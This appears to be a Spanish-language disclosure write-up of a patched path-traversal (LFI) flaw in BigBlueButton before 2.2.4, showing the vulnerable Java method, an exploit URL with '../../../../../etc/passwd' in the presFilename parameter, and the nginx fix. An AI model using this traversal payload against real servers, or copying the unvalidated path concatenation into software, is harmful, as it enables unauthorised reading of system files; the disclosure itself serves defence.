
Las versiones de BigBlueButton inferiores a 2.2.4 tienen una vulnerabilidad LFI que permite acceder a archivos sensibles. 🚨
Las versiones de BigBlueButton inferiores a 2.2.4 tienen una vulnerabilidad LFI que permite el acceso a archivos sensibles.
Durante un curso de aprendizaje a distancia en una instancia de BigBlueButton, un estudiante de mi clase compartió el enlace de la presentación de diapositivas de mi profesor y noté que el nombre del archivo estaba incluido en la URL.

Student: "No need to write notes, I've got the slide."
Me: Well, I've got a security report to make. 😂
Jugando un poco con él, pude obtener acceso al archivo /etc/passwd del servidor y descubrir la existencia de una vulnerabilidad de seguridad en la solución de código abierto Big Blue Button.
Reporté la vulnerabilidad, el equipo de BBB fue rápido en responderme y parchear la vulnerabilidad (solo unos días).
public File getDownloadablePresentationFile(String meetingId, String presId, String presFilename) {
log.info("Find downloadable presentation for meetingId={} presId={} filename={}", meetingId, presId, presFilename);
File presDir = Util.getPresentationDir(presentationBaseDir, meetingId, presId);
return new File(presDir.getAbsolutePath() + File.separatorChar + presFilename);
}
Como puedes ver, este método utilizado por un PresentationController te permite descargar un archivo de presentación concatenando 3 parámetros.
Esto hace posible obtener enlaces como este:
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500.pdf
Para explotar la vulnerabilidad, solo basta con obtener un enlace válido a un archivo de presentación y modificar el parámetro presFilename para acceder a archivos sensibles.
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=../../../../../etc/passwd

El equipo de BBB parcheó la vulnerabilidad en la versión 2.2.4 mediante una regla de configuración del servidor (HTTP), una expresión regular y un formato de nombre de archivo preciso.
location /bigbluebutton/presentation/download {
return 404;
}
location ~ "^/bigbluebutton/presentation/download\/[0-9a-f]+-[0-9]+/[0-9a-f]+-[0-9]+$" {
if ($arg_presFilename !~ "^[0-9a-f]+-[0-9]+\.[0-9a-zA-Z]+$") {
return 404;
}
proxy_pass http://127.0.0.1:8090$uri$is_args$args;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Workaround IE refusal to set cookies in iframe
add_header P3P 'CP="No P3P policy available"';
}